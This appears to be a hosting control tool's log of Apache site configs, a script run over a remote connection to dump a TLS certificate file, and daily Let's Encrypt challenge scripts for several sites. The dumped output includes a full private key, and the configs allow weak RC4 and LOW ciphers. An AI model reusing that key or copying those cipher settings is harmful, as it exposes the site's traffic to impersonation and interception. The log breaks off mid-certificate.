<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481
<VirtualHost *:80>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.com
ServerAlias www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
DocumentRoot /var/www/theyoungdesigners_com/public
<Directory /var/www/theyoungdesigners_com>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/com_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/com_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-22 06:02:18:
PUT: /tmp/pkp675504
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-22 06:02:18:
chmod 755 /tmp/pkp675504; /tmp/pkp675504; rm /tmp/pkp675504
2025-11-22 06:02:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt 5401
38:28:91:3c:36:73:2d:07:a0:20:19:68:59:9e:27:32
-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBmgels0sfO98DR9GWb291ZkBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIyMDUwMzQ2WhcNMjYwMjIwMDUwMzQ1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDbPaq+SVtAtcpzGDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZ
t5/eLsPAvzKgd0EowaHalkO8gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhU
HxuTx/SgqwjOB0NIhFfUFfz272cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG
5GYJCnuil/cO3ou9jihV0lNEIbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy2
3rP7lv7C9CvtVqtWtFvPr/FkDniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPey
D+pwBR7n6NdyznpVfOz5gp4mGZ1++mdvAgMBAAGjggI+MIICOjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMXHQHgj2LqjEKD8w0ehAkE+XfvyMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdQAZhtTHKKpv/roDb3gq
TQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqqJ/Q0AAAEAwBGMEQCIHCgMz5UFanttjp5
9DsaR0tLDNcjpnyQZ9v9cHpaQZVjAiB1+jl5aG4les7iPNqlEXZMFdJFtXm4FwV/
YlsX6W8a6AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmqon
9EoAAAQDAEcwRQIgSCNTF477nBbgPdB5Scc3et+3Zu7+CJoscpzj1DnUEw0CIQCz
bEW4YK4AYbgZSSLAnCKwPf0qAKRnb919SEWWF/oAzjANBgkqhkiG9w0BAQsFAAOC
AQEAjFOXer2aiQulGbB0VAufOR6oPBDETtM64Fn1XMeBs+i0qYBUOChWL8PiM9eh
fkR4PJNoxRhonu1WPKlltgjaF1787YmECKPZmp4NjvL2vey8vTQxp5WSmcOIAx2G
UzN9T86vk3S+3BdLcrHgGimPRuRdkKtN8NfS8SrSW5WLmgpXTwGyG+U1v5Y5cImC
s4cpU+ngtE2baxwJPbqSwM5oTuHg86IvyrS23Btz+ryAs1MwIx0PbLh2c64ZYpaV
OD0yKgSM0PtOJzoAE+3ia1AJwOLpOz/zx06/yv+1GXznO5Q0xeTqQ+kydGpLx7I5
/HJvp8y5R1L0ZL35s+clZMFNuA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPaq+SVtAtcpz
GDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZt5/eLsPAvzKgd0EowaHalkO8
gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhUHxuTx/SgqwjOB0NIhFfUFfz2
72cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG5GYJCnuil/cO3ou9jihV0lNE
IbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy23rP7lv7C9CvtVqtWtFvPr/Fk
DniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPeyD+pwBR7n6NdyznpVfOz5gp4m
GZ1++mdvAgMBAAECggEBAI7njUnnSuHNHR8UYOGIFUG16L9BD+TJu1mQVdgUjRQ/
hsTREqYDatnaBQyv8szKU9egpApK3JM8av6PdjODLf+wkb+mPRtBWDC4QnKdZwre
w9awyX7RuUZr2G/lYCDyGxUgSs0T5qPJiU/0EH/o2PITl2kP5+x7fUjCTG/6rBEy
jnHk6TT3UBZt8rCv+muJmPgR7lM/0Nb0igGB2K7fz9yU420/KKAMe6qmMCRVq4nt
axDQ4pIXNBCsE8rXP60CIUzWwQ/h+LS81mLCJ/Xrti3bYrpMCnebqa47hIQm5oM6
964VqTj3BpH2m+EIYqcTVnyuHGePMuclUZVUwnNYtWECgYEA8flPqQCcNjn9pNtL
V2iBqF3x20ro8nEmV/DupCL7PBPMIiBzUNk98hH7d7UvDv4gqZKLeRosVuyyKJNo
akn8glbUVC1r7qDNmUPM3eYhohfJAv9suPwTxAZ0fHE5q+idd+aCJSvdbCE+FOre
tniRISnpkyQU+hoyrxyVzRBk8ecCgYEA5/MEdKuSeSdENiFTWTrj22dgKv5J2xwe
7f8rYyyTLcAOuinL5mO1qsJ+HlONaFzEYIltW7OwY2/TasCzgkny/Hlxm/RldsqU
Xw5bycFk+Y62Yqs7fHhtdIs+jghj8NuU/MF7bORTBUX5gdzoKB+gaD8cPvoz7bRX
tUAz+sOvvTkCgYAODHiIimWHbHSChszoBURJ3zJ0lfPSZ6lfP7jLRNCrW0bl0FaB
oitLi6m6+IUD7NM+pSh93nwmi9WIL47HZQZJFvt666wxjZqCRIJ3e64GODVOfD/2
uYP4RJuswfIkPfwugu6Zc+OGLKPrGPvXQkbC0ykhht3E65J3wkQcRNBnjwKBgGwa
BumZTRrKAjB4N7BOkgOfmmJvQVytLn0df8so6y9XY4XAFRe7QN/k5YKczjrlgWC8
rAshJAQ0CgSm6wK+FFE3CIv2y5MhtyTWPFE7oSPuL3Ks+3x3ZAv9GZp4rpuCu11R
j4SgpVC/3Bl6K3kHxGrRfwia87jFZFtFIPSuXymBAoGAVgs2yf/Ey4hOANjr7Jgs
hy61r1jbYh+hpyW8fKGBr49JE1tftT2kJ5uKcnYCep/kdFt1N7adkL/t6pljX0i4
1jfeG+BPQ7ansQt7wE9embNFB3+mIgTCnvBiw4ynoncGDcysmuU5+stw+LAcHBHA
LYJSZcPyutSbPHljS7hnPqM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-22 06:02:18:
PUT: /tmp/pkp528685
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-22 06:02:18:
chmod 755 /tmp/pkp528685; /tmp/pkp528685; rm /tmp/pkp528685
2025-11-22 06:02:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt 5401
38:28:91:3c:36:73:2d:07:a0:20:19:68:59:9e:27:32
-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBmgels0sfO98DR9GWb291ZkBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIyMDUwMzQ2WhcNMjYwMjIwMDUwMzQ1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDbPaq+SVtAtcpzGDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZ
t5/eLsPAvzKgd0EowaHalkO8gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhU
HxuTx/SgqwjOB0NIhFfUFfz272cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG
5GYJCnuil/cO3ou9jihV0lNEIbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy2
3rP7lv7C9CvtVqtWtFvPr/FkDniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPey
D+pwBR7n6NdyznpVfOz5gp4mGZ1++mdvAgMBAAGjggI+MIICOjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMXHQHgj2LqjEKD8w0ehAkE+XfvyMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdQAZhtTHKKpv/roDb3gq
TQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqqJ/Q0AAAEAwBGMEQCIHCgMz5UFanttjp5
9DsaR0tLDNcjpnyQZ9v9cHpaQZVjAiB1+jl5aG4les7iPNqlEXZMFdJFtXm4FwV/
YlsX6W8a6AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmqon
9EoAAAQDAEcwRQIgSCNTF477nBbgPdB5Scc3et+3Zu7+CJoscpzj1DnUEw0CIQCz
bEW4YK4AYbgZSSLAnCKwPf0qAKRnb919SEWWF/oAzjANBgkqhkiG9w0BAQsFAAOC
AQEAjFOXer2aiQulGbB0VAufOR6oPBDETtM64Fn1XMeBs+i0qYBUOChWL8PiM9eh
fkR4PJNoxRhonu1WPKlltgjaF1787YmECKPZmp4NjvL2vey8vTQxp5WSmcOIAx2G
UzN9T86vk3S+3BdLcrHgGimPRuRdkKtN8NfS8SrSW5WLmgpXTwGyG+U1v5Y5cImC
s4cpU+ngtE2baxwJPbqSwM5oTuHg86IvyrS23Btz+ryAs1MwIx0PbLh2c64ZYpaV
OD0yKgSM0PtOJzoAE+3ia1AJwOLpOz/zx06/yv+1GXznO5Q0xeTqQ+kydGpLx7I5
/HJvp8y5R1L0ZL35s+clZMFNuA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPaq+SVtAtcpz
GDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZt5/eLsPAvzKgd0EowaHalkO8
gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhUHxuTx/SgqwjOB0NIhFfUFfz2
72cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG5GYJCnuil/cO3ou9jihV0lNE
IbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy23rP7lv7C9CvtVqtWtFvPr/Fk
DniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPeyD+pwBR7n6NdyznpVfOz5gp4m
GZ1++mdvAgMBAAECggEBAI7njUnnSuHNHR8UYOGIFUG16L9BD+TJu1mQVdgUjRQ/
hsTREqYDatnaBQyv8szKU9egpApK3JM8av6PdjODLf+wkb+mPRtBWDC4QnKdZwre
w9awyX7RuUZr2G/lYCDyGxUgSs0T5qPJiU/0EH/o2PITl2kP5+x7fUjCTG/6rBEy
jnHk6TT3UBZt8rCv+muJmPgR7lM/0Nb0igGB2K7fz9yU420/KKAMe6qmMCRVq4nt
axDQ4pIXNBCsE8rXP60CIUzWwQ/h+LS81mLCJ/Xrti3bYrpMCnebqa47hIQm5oM6
964VqTj3BpH2m+EIYqcTVnyuHGePMuclUZVUwnNYtWECgYEA8flPqQCcNjn9pNtL
V2iBqF3x20ro8nEmV/DupCL7PBPMIiBzUNk98hH7d7UvDv4gqZKLeRosVuyyKJNo
akn8glbUVC1r7qDNmUPM3eYhohfJAv9suPwTxAZ0fHE5q+idd+aCJSvdbCE+FOre
tniRISnpkyQU+hoyrxyVzRBk8ecCgYEA5/MEdKuSeSdENiFTWTrj22dgKv5J2xwe
7f8rYyyTLcAOuinL5mO1qsJ+HlONaFzEYIltW7OwY2/TasCzgkny/Hlxm/RldsqU
Xw5bycFk+Y62Yqs7fHhtdIs+jghj8NuU/MF7bORTBUX5gdzoKB+gaD8cPvoz7bRX
tUAz+sOvvTkCgYAODHiIimWHbHSChszoBURJ3zJ0lfPSZ6lfP7jLRNCrW0bl0FaB
oitLi6m6+IUD7NM+pSh93nwmi9WIL47HZQZJFvt666wxjZqCRIJ3e64GODVOfD/2
uYP4RJuswfIkPfwugu6Zc+OGLKPrGPvXQkbC0ykhht3E65J3wkQcRNBnjwKBgGwa
BumZTRrKAjB4N7BOkgOfmmJvQVytLn0df8so6y9XY4XAFRe7QN/k5YKczjrlgWC8
rAshJAQ0CgSm6wK+FFE3CIv2y5MhtyTWPFE7oSPuL3Ks+3x3ZAv9GZp4rpuCu11R
j4SgpVC/3Bl6K3kHxGrRfwia87jFZFtFIPSuXymBAoGAVgs2yf/Ey4hOANjr7Jgs
hy61r1jbYh+hpyW8fKGBr49JE1tftT2kJ5uKcnYCep/kdFt1N7adkL/t6pljX0i4
1jfeG+BPQ7ansQt7wE9embNFB3+mIgTCnvBiw4ynoncGDcysmuU5+stw+LAcHBHA
LYJSZcPyutSbPHljS7hnPqM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-22 06:02:18: Establishing a connection
2025-11-22 06:02:19: Establishing a connection
2025-11-22 06:02:20:
PUT: /tmp/pkp521760
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-22 06:02:21:
chmod 755 /tmp/pkp521760; /tmp/pkp521760; rm /tmp/pkp521760
2025-11-22 06:02:21:
0
2025-11-23 06:00:02: Establishing a connection
2025-11-23 06:00:03: Establishing a connection
2025-11-23 06:00:04:
PUT: /tmp/pkp626580
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-23 06:00:05:
chmod 755 /tmp/pkp626580; /tmp/pkp626580; rm /tmp/pkp626580
2025-11-23 06:00:05:
0
2025-11-24 06:00:01: Establishing a connection
2025-11-24 06:00:03: Establishing a connection
2025-11-24 06:00:04:
PUT: /tmp/pkp939683
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-24 06:00:05:
chmod 755 /tmp/pkp939683; /tmp/pkp939683; rm /tmp/pkp939683
2025-11-24 06:00:05:
0
2025-11-25 06:00:02: Establishing a connection
2025-11-25 06:00:04: Establishing a connection
2025-11-25 06:00:05:
PUT: /tmp/pkp559779
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-25 06:00:06:
chmod 755 /tmp/pkp559779; /tmp/pkp559779; rm /tmp/pkp559779
2025-11-25 06:00:06:
0
2025-11-26 06:00:02: Establishing a connection
2025-11-26 06:00:03: Establishing a connection
2025-11-26 06:00:03:
PUT: /tmp/pkp278950
#!/bin/bash
if [ -d "/var/www/maminas_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-26 06:00:04:
chmod 755 /tmp/pkp278950; /tmp/pkp278950; rm /tmp/pkp278950
2025-11-26 06:00:04:
1
2025-11-26 06:00:05: Establishing a connection
2025-11-26 06:00:05:
PUT: /tmp/pkp853307
#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
cat > JChCDPNQduh3lOHvsVd_j7bBGfASUTKkW9MTH-0BRTc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JChCDPNQduh3lOHvsVd_j7bBGfASUTKkW9MTH-0BRTc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JChCDPNQduh3lOHvsVd_j7bBGfASUTKkW9MTH-0BRTc
cat > j5Y-9mtljgoRsOFX-zKkdlXiv2hW27c-cr1CEs1gsME <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
j5Y-9mtljgoRsOFX-zKkdlXiv2hW27c-cr1CEs1gsME.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 j5Y-9mtljgoRsOFX-zKkdlXiv2hW27c-cr1CEs1gsME
2025-11-26 06:00:05:
chmod 755 /tmp/pkp853307; /tmp/pkp853307; rm /tmp/pkp853307
2025-11-26 06:00:05:
2025-11-26 06:00:16: Establishing a connection
2025-11-26 06:00:16:
PUT: /tmp/pkp432400
#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
rm JChCDPNQduh3lOHvsVd_j7bBGfASUTKkW9MTH-0BRTc
rm j5Y-9mtljgoRsOFX-zKkdlXiv2hW27c-cr1CEs1gsME
2025-11-26 06:00:16:
chmod 755 /tmp/pkp432400; /tmp/pkp432400; rm /tmp/pkp432400
2025-11-26 06:00:16:
2025-11-26 06:00:16: Establishing a connection
2025-11-26 06:00:16:
PUT: /tmp/pkp204188
#!/bin/bash
temp_file=$(mktemp)
TARGET=aa64a65ef2076a4bf3eeaac96e0b38a2.crt
cat > $temp_file <<'endmsg'
42:cc:7b:8e:18:05:4f:db:b7:64:90:6b:ba:ff:e5:5e
-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBpCWxdiMIsHTWpTDlOXPPeuRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
